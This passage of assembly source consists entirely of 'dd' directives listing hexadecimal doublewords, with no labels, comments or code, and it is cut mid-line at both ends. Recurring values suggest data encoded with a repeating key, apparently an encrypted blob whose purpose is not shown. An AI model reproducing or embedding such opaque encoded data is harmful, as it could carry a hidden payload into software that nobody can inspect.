718DDA35h, 4DCB370Fh dd 8B640661h, 56AF2FDAh, 965C4932h, 564B353Dh, 36B5B132h dd 0D550D052h, 37258947h, 56B8333Dh, 373DB132h, 59563A53h dd 5657BBBCh, 56AE5832h, 980EB132h, 3A978FEh, 5675A2DBh dd 14332432h, 0FFB3EC8Ah, 0AB61A0CBh, 7C2636DBh, 0EAD947DBh dd 0C84C23CDh, 0DD8AB932h, 0AFFED7E5h, 0DDDAEC53h, 37AF3AEDh dd 59A2C409h, 565734B6h, 0DDA4D132h, 56D5B130h, 0D0E5E865h dd 5675B136h, 1C8F0854h, 48D6D753h, 56A9373Dh, 0D958B132h dd 56ABB133h, 0A63231CBh, 56EAA5DBh, 75C42632h, 430E75C4h dd 4774A8B4h, 8537FFADh, 2CFC1B70h, 36B53BBEh, 59B56384h dd 378B7A8Dh, 0BF8552B2h, 56BAB13Bh, 8D1DA64Dh, 0BEE1C5BCh dd 731859C0h, 0BF5EB132h, 0A92A4FC6h, 56F2313Dh, 0D07AB132h dd 56BAB120h, 565DBCDBh, 59531C32h, 896A07F1h, 86173F01h dd 2B5C8DECh, 30244CEh, 598A4EC4h, 56BAB4BAh, 0E6A1D132h dd 4547D0BBh, 0E957B132h, 7826F7D4h, 31A56961h, 618430F8h dd 1D89B2Fh, 59E1B434h, 565DA8B8h, 4447D132h, 7057B132h dd 38AB8D2Dh, 97833972h, 5E1CBED8h, 8DA324DFh, 59E5D046h dd 565DB9B1h, 5426BE32h, 3657B132h, 0BFF54953h, 56D5B137h dd 215D6086h, 0AA303A97h, 56A43D3Dh, 0D352B132h, 56AEB12Ah dd 5657A2DBh, 0F7EE2E32h, 109216F9h, 0D6F7D42Eh, 932FA7BAh dd 3E3436D2h, 5DDABEFBh, 0BFAEB132h, 5657B134h, 20A82CFDh dd 5A17F7E4h, 56E75832h, 6FCBB132h, 49EC9F74h, 5684435Eh dd 3EF6117h, 81D6D752h, 0DEA4B87Ah, 56D5B139h, 56EAB7DBh dd 32733532h, 370159ECh, 0AEB13ACBh, 0AF5675B1h, 3037E6CAh dd 0BEC03E88h, 56D5B126h, 3A8313BDh, 118BD8A6h, 79BAB295h dd 1FC4C542h, 6A5A05B7h, 37092881h, 59FA4864h, 56D5B6B9h dd 5767BE32h, 0AA75B132h, 5953E2C7h, 0AA5DB132h, 15CC8015h dd 3AAFFB58h, 0F2CF05C7h, 1312251Dh, 56EAB1CAh, 57FEBE32h dd 0AABAB132h, 0C9AD33F5h dd 56AFB932h, 0EC37B132h, 71B34E1Dh, 5EA03A53h, 56EAB8DBh dd 0DF31AA32h, 0E39F0EC1h, 0DD3B8C39h, 0DEA1D12Ch, 5657B130h dd 8FD5F86h, 566F3A53h, 36E2B1ACh, 0D6AC0E3Dh, 0AEDB73D1h dd 0AF55EEB9h, 0D2A16A39h, 5657B15Dh, 56A8383Dh, 0A3B5B132h dd 59348A53h, 5675E5B7h, 5852D132h, 915DB132h, 6CEB014h dd 0B5F18A31h, 0AEB77A7Ah, 56C658CCh, 0AEFFB132h, 5D660713h dd 981863F1h, 43AD2507h, 0F9EBE418h, 0DD31E9EEh, 0B20D0F3h dd 56D3583Eh, 0EF31B132h, 0C3ACD018h, 59B6EEBBh, 565DBDB1h dd 5027BE32h, 5957B132h, 56ABB1BFh, 42123232h, 0A96C58CBh dd 308C4ECDh, 0D643AFB9h, 0D25259C9h, 56AEB21Dh, 565F373Dh dd 30CBB132h, 549048Bh, 0AD6AD06Dh, 4EF1BEDBh, 0AABAB131h dd 59B64AB2h, 56ADBFB6h, 0ADD74932h, 982FBED0h, 59D5B130h dd 56EAB0B5h, 0ADF54D32h, 0FC3EBED1h, 365DB130h, 56AEBCDBh dd 0FFEB4C32h, 0FE5FC19Dh, 0D579C3Bh, 308BDDA1h, 0B5124AB3h dd 5425353Dh, 44B4B132h, 17AEB132h, 0D404A964h, 99579323h dd 1D95160Ch, 0F5E69F5h, 0A6923102h, 853BD752h, 0BFE3B99Ah dd 37BF6064h, 0ADD6D7CAh, 0D2A4313Dh, 56D5B391h, 410A3052h dd 593E56A1h, 56BAB1B0h, 0B5DDD032h, 0AD2E4DC2h, 0DED3BE42h dd 59ABB130h, 56D5BDBEh, 5061BE32h, 5975B132h, 56BAB1B1h dd 48D6D732h, 56A3373Dh, 5EBEB132h, 62ABB132h, 85E62339h dd 0D6B8396Eh, 589C49D1h, 41BAB132h, 0D180E148h, 0D9878E97h dd 68AAF35Eh, 0EE5031F7h, 57B0353Dh, 0D612B132h, 0D27AB40Ch dd 56BAB069h, 7B6331CEh, 57FF353Dh, 0D6A2B132h, 0D2A4D90Ch dd 56D5B075h, 0A6684ECBh, 367DB1ADh, 0D6880B52h, 59B4A680h dd 0DCAEB132h, 0DB016DFDh, 0EE42158Ch, 0D8A5F898h, 368B4771h dd 56753F3Dh, 0DDDCB132h, 0AA3CD0C2h, 59B03A54h, 5657ACB7h dd 0D7CDD132h, 0BE8CC1D3h, 56EAB122h, 0D6457DD5h, 21A4E117h dd 36831D00h, 0EE55265h, 637D068h, 273F76B3h, 0D78BA819h dd 0CB0CEFECh, 0B1F5D045h, 0DDDA48CAh, 8FD6D1F3h, 0D7C8D053h dd 59BF30C9h, 56AB7BB6h, 5750BE32h, 0AEEAB132h, 596B3A54h dd 56BAA8BDh, 45D6BE32h, 0BFAEB132h, 5657B13Ch, 0D2DB2EC1h dd 9C22AED5h, 65574983h, 0B1F556D6h, 0BF42D1C2h, 565DB13Ah dd 8683668Eh, 8A944CABh, 0AD2AD753h, 0D2DA71B3h, 56EAB1B1h dd 5674313Dh, 0BF43B132h, 565DB139h, 96D067CCh, 4B9AA5F8h dd 36820F8Ah, 0D6DAE4C7h, 56EAB13Fh, 56F8BE52h, 0E9BAB132h dd 55D3F534h, 0CF3C4E53h, 595FB1ACh, 56ABB8B9h, 0AC5FD132h dd 26150288h, 0BF28D079h, 56BAB138h, 5965970Eh, 0E9EBD4E6h dd 0DFAB5F75h, 59424D77h, 4BD5B132h, 0A3A9523Dh, 1AA42A93h dd 68B2A09Ah, 363C7118h, 56AB58CEh, 0FB44B132h, 372A0C94h dd 5729CCB1h, 576F343Dh, 0DD89B132h, 0ACB8B088h, 0A30D4935h dd 0C95E33B9h, 0D158B932h, 56ABB133h, 66E988CAh, 56EB303Dh dd 0E8DB132h, 57E7333Dh, 5CB4B132h, 8CAEB132h, 6AADE393h dd 0DAB5A61Fh, 136F3AA4h, 0AEED4B07h, 0DD7A4962h, 56BAB123h dd 565DBDDBh, 0CD55F132h, 0AD3F8661h, 0D35CF111h, 0A6573A20h dd 0AFE2B1ADh, 36458D0Bh, 56BABBDAh, 43795A32h, 6DBC7144h dd 0DD08A7C5h, 0DDCDE9F4h, 598DD0CBh, 56EBB7BDh, 5EF4BE32h dd 59BAB132h, 565DB3B2h, 0BFCFD132h, 5657B179h, 0AEEE76CAh dd 56D5B130h, 56EB363Dh, 0BF80B132h, 56BAB105h, 0AE1876CEh dd 56AEB133h, 5657A0DBh, 0AF3CA632h, 36D497F5h, 0F0D1B262h dd 4ABEF9D1h, 42534FCAh, 265DB132h, 3521D706h, 786058BFh dd 36744507h, 5CA6257Ch, 0DD88AC4Dh, 56EBB188h, 4931493Ah dd 5986BACAh, 56AE27B6h, 5ED1BE32h, 59ABB132h, 56D5B3B6h dd 6D8BD132h, 5F0BEECh, 36BAB132h, 565E373Dh, 0E1A1B132h dd 2AEDD7F4h, 0B20D026h, 2B564D3Eh, 0D2E5B1CAh, 5675B117h dd 56B2363Dh, 0D952B132h, 56AEB130h, 0B54D052h, 56A458CAh dd 8BAAB132h, 1342711Eh, 0E8208CF6h, 4360000Eh, 5202387Eh dd 56A63B3Dh, 5937B132h, 0DDCD738Dh, 9156D0E5h, 0D5034D26h dd 0BF8A4ECDh, 56BAB138h, 84B41FD0h, 76D6A112h, 96642674h dd 56ABB9DBh, 0D8C9F032h, 7FD89345h, 52BC58D6h, 304FB132h dd 363DAFB9h, 30CFD052h, 37D08F8Ch, 0BFA7CCB9h, 56D5B120h dd 8831819Fh, 76C1E067h, 0AE980410h, 0DA1144A6h, 0AD2E80CEh dd 10D3BED9h, 36ABB132h, 0B19A0B54h, 375C5EB2h, 0A38552B2h dd 264131CBh, 563A353Dh, 0D7CEB132h, 9DD5E6FDh, 5F42D07Fh dd 59D5B133h, 56EAADBDh, 40F3BE32h, 0BFBAB132h, 565DB123h dd 401E0108h, 9F1F9020h, 0C3E66E85h, 0B9495E84h, 0BFED77D0h dd 573276C7h, 56BAB132h, 8DEABE52h, 56A8363Dh, 8CD6B132h dd 203BD985h, 59123A53h, 56EABBB1h, 0F27D132h, 56BA353Dh dd 0D53CB132h, 0BF57B4F2h, 5657B529h, 516CD7CEh, 0D8DAB93Dh dd 56EAB128h, 56655852h, 237BB132h, 0A2507614h, 0F8DA2E25h dd 0EED2F479h, 0E9A431E4h, 463CD0FDh, 9FEAB132h, 0AF4CEAD2h dd 9F26C033h, 57D1CEC1h, 0DC9033BCh, 57DEBE2Ch, 0AAABB132h dd 36DA52B2h, 0FDC10A61h, 42EB502h, 22A75BB3h, 3704D46Fh dd 362E7AB2h, 0D5B7FE8Ah, 37633A00h, 0BFD4EEBAh, 56EAB139h dd 0B51F23F2h, 4F2B289Eh, 91AEF360h, 56AEB375h, 0DDA2B132h dd 962844F5h, 453CD134h, 9BEAB132h, 4B7AC2Dh, 412219AFh dd 3BBAC391h, 2A60FA0Bh, 0D731C3BAh, 37298FD0h, 56D6C3DBh dd 5763BE32h, 0A375B132h, 0C6843054h, 0D9D9BEA2h, 0BFAEB132h dd 5657B13Fh, 75CA2576h, 62716A94h, 3B3C6E48h, 0C64B31C0h dd 5630343Dh, 44B4B132h, 90AEB132h, 713A2CBBh, 0B0BE25EAh dd 8482A80Eh, 8138077Ch, 56665841h, 0DDBEB132h, 0E3013F21h dd 6FB7C70Eh, 9AD7F06Dh, 0F25A06C9h, 2854D728h, 597A21CDh dd 567588B6h, 4653D132h, 0D35DB132h, 81846EECh, 0EE8F3A89h dd 0A235C001h, 0AEEC53DCh, 5E62BE53h, 3675B132h, 58307AB3h dd 0BF3C9E6Bh, 56AEB116h, 0AEEED752h, 0DEA4E207h, 56D5B132h dd 9161D068h, 95A63152h, 0BFDB68B9h, 565DB3F1h, 56AF303Dh dd 0AAAFB132h, 0F65B33BFh, 5B5B932h, 82D3A54h, 5675B8DBh dd 0E9F70832h, 7C2FDDADh, 6CFFE5Eh, 0A30148CAh, 0C80623CDh dd 0D6DAB932h, 56EAB134h, 0DDAA0352h, 0D2B5D0E5h, 565DB133h dd 596EBACAh, 5657F3B6h, 56B95832h, 6BABB132h, 0FADF6765h dd 7BB23719h, 6A8AC9B2h, 63D16211h, 0DB5779B9h, 56F74180h dd 0A342443Ah, 0BFD5B132h, 56EAB13Ch, 40CF2515h, 7FA85F56h dd 9516ED36h, 0CE6AA0h, 300DD052h, 0CA61B9h, 56D5B7DBh dd 0FCD1B632h, 59790BD8h, 56BAB6BCh, 57D6BE32h, 0A3AEB132h dd 0BF377FB9h, 56ABB13Dh, 0FAF37E6h, 0FFD813FCh, 0ACA8A407h dd 59A93C8Fh, 33C4185h, 56AEA5DBh, 0F06D9332h, 4E2DD3Eh dd 24C91420h, 0F6E4DC48h, 0F29F657Ch, 0CF284E57h, 5955B1ACh dd 56AEB6B6h, 57DFBE32h, 0AFABB132h, 5A58BE6Fh, 59EAB132h dd 5675B7B0h, 5638BE32h, 7D5DB132h, 5147D1FCh, 8B57B132h dd 11A41013h, 0A1B48F8Ch, 2852D1EBh, 6632CADh, 56BAA2DBh dd 62847F32h, 75916E2Bh, 0EFB4BC16h, 0BCAC3BD0h, 0E8CE67E7h dd 308AD069h, 77546B3h, 660559B3h, 83CF65Bh, 56BD5852h dd 0FBF9B132h, 77A8A7E1h, 0EEB9BCFDh, 0B982DA65h, 554F30ECh dd 0D7DAD0D7h, 0ACC27FE5h dd 37CFD17Ah, 57AFCCB1h, 560B343Dh, 30B5B132h, 0E1E540B9h dd 1FC5D0CBh, 56B55852h, 4755B132h, 6DF265DAh, 0F8C9FA5Bh dd 0D8C12EFFh, 0AA7FD027h, 0D3E50954h, 5668373Dh, 0D1B5B132h dd 565DB125h, 56AEA3DBh, 83EF3B32h, 0A40BCAEh, 951CFD92h dd 0BC9372BAh, 30F71C65h, 0DDDCD199h, 565359FCh, 0C8DBB132h dd 0F63991E2h, 11F7915Ch, 9A836D7h, 37B3E863h, 5733073Dh dd 56BABDDBh, 0DCA4832h, 11B37364h, 0EC476AEh, 0D8A41AB3h dd 56D5B120h, 56ED5952h, 67B7B132h, 18046685h, 0DD3BEBB8h dd 0F347D0EAh, 5957B132h, 56ABB0B1h, 2B564932h, 0D3E5B3CAh dd 5675B14Ch, 56BAB4DBh, 0F1E9FF32h, 5D47E694h, 4C57B132h dd 0D7BDA09Ch, 5FCA2830h, 0EE8CB0C8h, 59157839h, 30DB6385h dd 0D73BD199h, 0EC6EA2E1h, 6086D835h, 5913D753h, 533CD1B6h dd 0CDEAB132h, 0A0CD1484h, 56BAB9DBh, 0B89F5032h, 0F8785F92h dd 0FD31D0E7h, 56BB383Dh, 0BFB5B132h, 56EAB135h, 1E68ACA2h dd 0E76029C7h, 0E052D002h, 0D2A1B074h, 5657B134h, 8D13D752h dd 0AA7ED084h, 56EAA6DBh, 0F2864432h, 56B4333Dh, 5FB4B132h dd 56AEB132h, 0EC6C4674h, 0B71D3E21h, 362C76B9h, 56EAB9DAh dd 84DBAC32h, 0E3B9BB8Dh, 590748CBh, 0DCF7B8Dh, 56563F3Dh dd 0F53B132h, 0DFDAEFCBh, 56EAB12Ah, 56673B3Dh, 5B53B132h dd 965DB132h, 4F860706h, 0FAE30C19h, 1C25682Ah, 503CD16Dh dd 0E8EAB132h, 521C652h, 8505BEECh, 0DA527853h, 56AEB135h dd 56563C3Dh, 945EB132h, 0D5DAB13Ah, 56EAB133h, 0A315E4CAh dd 0FC080E54h, 36B13A53h, 56AC3E3Dh, 7BE5B132h, 9514BE52h dd 37B40482h, 56EAA1DBh, 0E1C35C32h, 874845F0h, 0CD8BE4F7h dd 0E4D2C9DEh, 59BED113h, 50ABB132h, 0B140280h, 0BFF3778Fh dd 226DD0E9h, 5652B253h, 0C5DB132h, 98B85BB3h, 0BFABB932h dd 56ABB135h, 0B0C3AD5Bh, 0DD374F8Dh, 0AF8DB977h, 0C8F933BBh dd 0A33DB932h, 56BA343Dh, 58BFB132h, 0B1ABB132h, 9B58CEC8h dd 99F0004Eh, 8C11335Eh, 37DBEAF8h, 565B343Dh, 7CEB132h dd 3736D16Ah, 52694DFBh, 56D25832h, 1821B132h, 0FDBE443Fh dd 0DDDAE477h, 0BAD6D0E8h, 56AF313Dh, 0D5A2B132h, 365E49F6h dd 56D93D3Dh, 0D6E5B132h, 5675B134h, 56BA343Dh, 56B5B132h dd 0CAEB132h, 98CD5BB3h, 0BF53B932h, 56D5B135h, 0A6A5DD18h dd 0AA4C3FB4h, 5642F4F5h, 0A35DB132h, 5652F4F5h, 0BF57B132h dd 56ABB13Bh, 9CF69457h, 93BEE047h, 59B58288h, 56BAA6B3h dd 47DDBE32h, 0BFAEB132h, 5657B13Eh, 0E4E0FEEh, 0DC6BCAA1h dd 0A4EB2D9h, 0BF6B3A54h, 56BAB13Bh, 4E762F0Ch, 4049D43Ch dd 5BD4BE3Dh, 36ABB132h, 8A3E3054h, 51C3035h, 377C61EBh dd 0C94A33F5h, 565CB932h, 4247B132h, 5B57B132h, 0F6515F0Eh dd 0B665BB88h, 0C6B573CAh, 0D388A262h, 309DBC12h, 0C6CD4AB3h dd 56A9343Dh, 0D658B132h, 56ABB133h, 0BE2E31CBh, 53CF353Dh dd 415B132h, 56B2586Dh, 637BB132h, 698DB9CEh, 1636EDF5h dd 395E3152h, 0E1033054h, 0AD6AD06Fh, 56F1BEDBh, 0BFBAB137h dd 565DB135h, 0AAC4D4A1h, 16146145h, 56ABBDDBh, 0BD867E32h dd 0C3260B98h, 0E6A4268Dh, 0BD4131B3h, 5284353Dh, 0D7CEB132h dd 0D04605D8h, 2510D76Fh, 3695D093h, 373C3A54h, 4BC20B52h dd 5152FF60h, 0E25DB132h, 9AE84659h, 5EBE31F3h, 15ABB132h dd 0EBA46147h, 0FB85B00h, 0A6923153h, 56BAB8DBh, 0EE46B932h dd 86F9A62Eh, 0D958E3D1h, 56ABB13Ah, 56D7343Dh, 378AB132h dd 598E3054h, 2A3EBEB2h, 0BF5DB136h, 56AEB123h, 0FA8389E7h dd 0A868A68Ah, 0EBE4F9CBh, 0CDC5C040h, 8BF7B265h, 0BFBD4B12h dd 565DB13Bh, 416D8F61h, 6B573016h, 0D5A4F18Bh, 56D5B13Eh dd 56EAB6DBh, 399F1032h, 0E27191A1h, 5645363Dh, 4547B132h dd 9857B132h, 0C89E49CBh, 5D552722h, 3DBF692Ch, 0FC40ADC4h dd 0AD3A59F6h, 51D9BED0h, 36AEB136h, 2B93054h, 0E7690839h dd 0D6B4D14Fh, 0D2E552C9h, 5675B28Ch, 56BAA2DBh, 0F9E6CA32h dd 17007BC0h, 59A5A373h, 0A1B6833Ch, 0D3C6098Ah, 31113054h dd 99F1BED1h, 59BAB131h, 565DB9BEh, 5422BE32h, 3657B132h dd 0A6483153h, 59850052h, 56EAB2B8h, 0A0993132h, 26413153h dd 55E4353Dh, 30CEB132h, 30F8CA88h, 0AACA7BB9h, 59CB3A54h dd 56EA99B5h, 469CD132h, 0C6BAB132h, 0D2215B4Eh, 0EFA1E281h dd 9B944D44h, 0BF8B3650h, 56D5B13Eh, 0A4DCB5Eh, 0DFF72A2Eh dd 0D4262543h, 0AEBE3153h, 56A05852h, 0B5A3B132h, 4F22CB64h dd 0DDBBDCE8h, 42BC245Fh, 0A61F51B3h, 0D6DB8AD1h, 0D25209C9h dd 56AEB0F1h, 54D0BE52h, 0E5ABB132h, 5A5CBE0Eh, 0BEEAB132h dd 5675B134h, 0F45DC088h, 37037323h, 59AB8FB2h, 56562FB6h dd 5D42D132h, 0D7D5B132h, 25BB2B60h, 0ABD99683h, 0DDDC364Ah dd 68DDD0FDh, 0D62ABE1Fh, 5957B133h, 56ABA4BFh, 56C55832h dd 795BB132h, 0E9397F69h, 0DAB7DEF6h, 0E94D0C9Dh, 682E684Ah dd 0AD3BE5Ah, 36ABB133h, 9A1B3054h, 168B4895h, 5675A5DBh dd 9D9A2232h, 19B5D386h, 73F5AD2Eh, 5D0249ABh, 0FBBAD6AFh dd 0A6574EBEh, 59E2B1ADh, 5675B6BAh, 5737BE32h, 0A35DB132h dd 36B03A54h, 0B1D7D0CBh, 56A258CAh, 974BB132h, 9E1B0250h dd 30A0877Ah, 0BE3B4AB3h, 5758353Dh, 0DEA1B132h, 5657B12Bh dd 56B8383Dh, 583CB132h, 7DEAB132h, 0F1AA13Fh, 4F9AE01Bh dd 0BA846781h, 4825D784h, 5E20A52h, 0D8A4A1C2h, 56D5B136h dd 2B320854h, 0A6923153h, 56BAA0DBh, 0E20E732h, 0AAECD409h dd 0C79F3DDh, 253D241Fh, 0D7B3E4BEh, 592A30C9h, 56751FB6h dd 36DA4432h, 53B466B9h, 93AEB132h, 8F4D425Ch, 0D7CBE453h dd 0DF2F28EAh, 56ED584Dh, 94F6B132h, 202ED2FAh, 0C4A2D093h dd 5EAE2FABh, 564A3B3Dh, 0DDA4B132h, 56D5B125h, 56EAA3DBh dd 0EBDB7F32h, 913DFE6Bh, 0E1841266h, 3276E6DDh, 0BAAB54Ah dd 56B83B3Dh, 583CB132h, 96EAB132h, 0DA736DEDh, 4AB318ACh dd 47BB1184h, 0AAEB382Ch, 5657A2DBh, 26D3F132h, 0D62ED6F5h dd 567897F4h, 5CE2A3D6h, 0B2E1CC59h, 593DD0CAh, 56AEBDB5h dd 56515932h, 0EAA5B132h, 78835E62h, 2B69D06Bh, 0D37AB0CEh dd 56BAB754h, 565DB7DBh, 0B1783832h, 0DD0B9303h, 0ACA9B088h dd 56C15835h, 7FEDB132h, 0D38CF495h, 0E50CB0D6h, 7B632437h dd 0DE8BD903h, 59072D37h, 56ABB6B3h, 875ED132h, 371B3A54h dd 0C98533B9h, 0BEDAB932h, 565DB13Dh, 44CCF737h, 3F2BD4A7h dd 0FB89D44h, 368CC367h, 6F8BEB53h, 0E8C810Eh, 50BE333Dh dd 0D752B132h, 56AEB133h, 13ED3ACBh, 0BFAC4B07h, 56D5B13Ch dd 4333507Ah, 0C94E8BFBh, 0D8DE07FAh, 0AF0DEF1Dh, 0A62C3AC7h dd 0BF5FB1ADh, 56ABB138h, 32D4F33Ah, 0CE821F61h, 6A4C28E5h dd 2904D102h, 305A7342h, 37C48D8Dh, 0E1D8BE6Ah, 59ABB137h dd 56D5BAB3h, 0D9E5D132h, 5675B132h, 37653A54h, 0C8450BB9h dd 0AECEB932h, 0D4D44953h, 5EAB2F2Ah, 615C4826h, 0DDE5D152h dd 5675B132h, 56BAB9DAh, 0C7CBA232h, 0E061352Ah, 0AA36EE13h dd 46EC3853h, 56C33B3Dh, 4703B132h, 0F675B132h, 7DE6D59Eh dd 0C98208A4h, 67FB0F7Eh, 29978812h, 56ABA0DBh, 0DD10F632h dd 53684E40h, 77BB67FCh, 343AC69Eh, 0BF0D3ECEh, 56AEB13Ah dd 800CA672h, 6AE569A3h, 0C92533B9h, 0DD12B932h, 599C812Eh dd 39BAB132h, 0C9634641h dd 0A98B98E7h, 0A1021DADh, 0AFF353B2h, 0A3DDEEBBh, 56EFBCDBh dd 13B24932h, 56BAB3CAh, 42B4D132h, 47AEB132h, 860576C7h dd 3813DCA6h, 2C69E95Ah, 2ECB13A5h, 30F96069h, 0BFDB68B9h dd 565DB129h, 8211D752h, 31B731DAh, 136C4853h, 56D5B0CAh dd 9961D132h, 7D063B3h, 0DDDBA10Ch, 56C3A988h, 4E20BE3Ah dd 3657B132h, 821C488Dh, 56D95802h, 3BFBB132h, 9A5C5B81h dd 92139200h, 0D53C7B13h, 5630A9B0h, 0D458A53Ah, 56ABB124h dd 0BF8BE052h, 56EAB13Fh, 579F4A73h, 85D4544Eh, 57FC6A1Bh dd 6127D07Bh, 56563F3Dh, 0DF53B132h, 473CA175h, 41EAB132h dd 0ED15E3C5h, 76FF8D60h, 889F40FFh, 91B0110Ch, 595449B1h dd 56AB8FB7h, 56D25832h, 117EB132h, 1334FBDFh, 0A6387621h dd 5455B1ADh, 0BFAEB132h, 5657B13Ah, 0FEC4C81Ch, 3BCC7388h dd 56EAF5DBh, 56645832h, 0C913B132h, 88BFF4A4h, 98159D6Ch dd 9AB5C25Eh, 0D50C1AEFh, 0DBDAB3CAh, 56EAB394h, 5675A5DBh dd 3D1EC132h, 0C21A5435h, 0C02BB2A8h, 76595C11h, 0B37E820Eh dd 56D2585Fh, 0FAD5B132h, 6C6A45C7h, 0AEC73203h, 0E9D9BE32h dd 36AEB132h, 1F91888Ah, 0E0A4D02Ah, 0BFB5B074h, 56EAB120h dd 0DFCB293Bh, 81657097h, 2D4CE24h, 1225C68Fh, 0D73157CBh dd 3709BFD0h, 56D5319Bh, 676FBE32h, 0AA75B132h, 56B35872h dd 0A6A0B132h, 0CF03FD76h, 366F51C2h, 0A3B471B2h, 533D3253h dd 56E6323Dh, 0D87AB132h, 56BAB134h, 565D393Dh, 6A47B132h dd 0AA57B132h, 56AB4E1Fh, 783D132h, 30BCEE6Dh, 0FC51988h dd 53523253h, 42B4E352h, 0F0AEB132h, 2D153B7Dh, 0A486B5Dh dd 0CE54FD4Ah, 0AAE1BFF4h, 0C7263B4h, 56BE303Dh, 0EF3BB132h dd 0BFCF2818h, 5657B14Bh, 56BF58CBh, 48A1B132h, 4E874541h dd 3B509642h, 0BB3EF74Dh, 0BFCEE6Bh, 0BFFD506Fh, 5657B122h dd 0E8A33F1h, 3948BFDh, 0C1D65598h, 8DC65DB6h, 0C94A2BB9h dd 0E73DB932h, 4014D71Bh, 52DCD06Ah, 56A75801h, 8224B132h dd 8450A945h, 0DF662D61h, 5C53C292h, 5A5DB132h, 40B41F27h dd 4FF00CB6h, 4442EA2Ah, 0C6D5B132h, 0EBDDE9Ch, 70EE7187h dd 4934A5AFh, 797904E6h, 56AE1826h, 0D3583132h, 56ABB1E2h dd 85033052h, 30E8819Ah, 0A87756B3h, 0BF7CB253h, 565DB134h dd 49A6F998h, 0D8586ADCh, 56ABB123h, 56D5BDDBh, 8FD84332h dd 947BEEF2h, 2E61AB17h, 539D32F7h, 56AD3C3Dh, 0AF37B132h dd 0A629B253h, 59DDB1ADh, 56EAB9B5h, 54F8BE32h, 36BAB132h dd 51D9BE53h, 36AEB132h, 0DC846CB2h, 36E3D0CBh, 995ED1CAh dd 371B063Dh, 5BF1BE53h, 0BFBAB132h, 565DB13Ah, 0E774A4D2h dd 6766C5DAh, 59A3F6BBh, 56D5B0B7h, 11634D32h, 45F7BE3Eh dd 0BFBAB132h, 565DB13Ch, 0EBC45DDFh, 21C4650Fh, 31CBEA3h dd 583C9872h, 23EAB132h, 247FEECh, 136A581Eh, 0AE1FF84Eh dd 57525886h, 47BEB132h, 0B0ABB132h, 4D269447h, 1DCAA2D7h dd 0C7C0E55h, 1E81ACFCh, 0E53D69C5h, 502CBEB5h, 5957B132h dd 56ABB1B4h, 90FED032h, 593246CAh, 5675A1BAh, 56B15832h dd 97BAB132h, 113B553Bh, 4A7486F6h, 536B32A2h, 0A657B2C7h dd 59E2B1ADh, 5675B0BCh, 1E4F4D32h, 0E6E5D752h, 0D9A1D04Bh dd 5657B133h, 5EEC38CEh, 56D33A3Dh, 368AB132h, 372DE653h dd 59B6F6BBh, 565DA2BAh, 5B2DBE32h, 0BF57B132h, 56ABB13Ah dd 0C22C83E0h, 0F16A13F6h, 5674D8DBh, 96894432h, 565A353Dh dd 0DAA1B132h, 5657B133h, 57ED3BCEh, 298C0B52h, 0FE8BDFF4h dd 0E7F0BEB2h, 36BAB132h, 565DB4DBh, 4089FA32h, 41E5CB7Dh dd 0AA6DB253h, 0A3D771B1h, 56EAB089h, 8D7E4932h, 5688353Dh dd 0DCA8B132h, 0A911B1A8h, 5CDCBE35h, 36ABB132h, 0D5DA2585h dd 56EAB132h, 0B5F54853h, 56A85833h, 0B3B8B132h, 69EB544Fh dd 90AA6B3Bh, 7943F36Bh, 9E77CD3Ah, 0D6E57231h, 5675B120h dd 56BABCDBh, 0F4CCD132h, 0A4AC4139h, 8519C8ADh, 1122A73Bh dd 5A54BE3Ah, 0BFEAB132h, 5675B135h, 762623D8h, 0DFE68248h dd 0D5A1BD75h, 5657B120h, 56ABBCDBh, 368BFB32h, 598900E5h dd 2292D27Bh, 0F553F044h, 0BF5DB132h, 56AEB13Ah, 6639B58h dd 51861D85h, 423C69C5h, 85EAB132h, 0B3C36A7Ah, 65C9DAF2h dd 1F437B70h, 980BC55Eh, 5956B204h, 56ABB0B9h, 0A9F04432h dd 36EAB132h, 0AA686FB3h, 0DEB595C5h, 565DB132h, 59689A53h dd 5657A4B0h, 56BB5832h, 0B148B132h, 38E34A6Ch, 0DC6A75DDh dd 2E74BE80h, 8EAA434Ch, 0E5990A52h, 0A1DC9EE5h, 546B3253h dd 56D5A2DBh, 6D31CA32h, 0AA3A792Ch, 0F92D1C58h, 4270026Ch dd 644F222Ch, 595FF6BBh, 56ABBAB1h, 56D35832h, 8503B132h dd 0BC50A3E0h, 36B6F6BBh, 3FAB3054h, 3656D043h, 0E5420E54h dd 37540E3Dh, 56D5B8DBh, 0C0349B32h, 424B5B84h, 0AFDBBFA3h dd 7FEDD1FBh, 562BBE52h, 3057B132h, 37A3F58Dh, 463C7253h dd 0E5EAB132h, 8861DC4Ah, 4C78A4EAh, 9FDA8000h, 38F4396h dd 59BB3ACBh, 56ABB6B9h, 575FBE32h, 0A3EAB132h, 598975B1h dd 56BABDB0h, 50DFBE32h, 59AEB132h, 5657B1B1h, 0D8A4D132h dd 56D5B13Ah, 53300952h, 3780D467h, 543EBE52h, 0DC5DB132h dd 0D7C8D1CCh, 0EC319BE4h, 2E7CD60Dh, 563DD053h, 0CEAB132h dd 8FBF5BB3h, 0D6B5B932h, 565DB133h, 0EC2544CBh, 5E572F32h dd 72BF0E52h, 5984A77Bh, 56EAB1B1h, 6514EE32h, 5731BEFBh dd 0AA5DB132h, 59AE8EB1h, 565317B6h, 0DDCB4432h, 0DDB44DC0h dd 4461BE35h, 0BF75B132h, 56BAB13Fh, 0B33CCFEBh, 12CC0943h dd 46E88984h, 56AC5833h, 0F879B132h, 1DABE961h, 5A004E04h dd 8E3B4D52h, 4FC5BA14h, 5EDB4E53h, 3637E1CBh, 0D7CDD052h dd 3774C7E0h, 3720063Dh, 567D3E3Dh, 0D8B5B132h, 565DB130h dd 0B246D052h, 3657B13Ah, 59CB7FB9h, 56D5B1B1h, 5D8BD032h dd 3F0BEF2h, 36BAB132h, 85DCD7CEh, 0DDCF8872h, 58BED135h dd 0E7ABB132h, 5FEF767Fh, 0A7E4FDBDh, 0FE264FEFh, 0BA29094Ch dd 0BF3CA722h, 56AEB170h, 56455852h, 38F9B132h, 11082130h dd 3BB05FEEh, 6E3208DCh, 28D3A584h, 565DBFDBh, 0B22F9132h dd 20B465BFh, 0DEE700C4h, 373E7C10h, 0A3FE76B1h, 0A98A96DBh dd 0D7B5D1CDh, 565DB132h, 8519BE65h, 13DED06Bh, 4422BECEh dd 0BFD5B132h, 56EAB13Fh, 0CEDC4EADh, 3480976Ch, 94A054Ch dd 5046D1ADh, 0CF57B132h, 69AF33FEh, 8955EB8Ch, 2315D088h dd 567B583Eh, 0DC5DB132h, 117CFA58h, 0AE5B19A2h, 51D7F333h dd 59A3C4CDh, 56D5B0B4h, 61154432h, 5E6459CEh, 30DAB132h dd 95DC61B9h, 740053B4h, 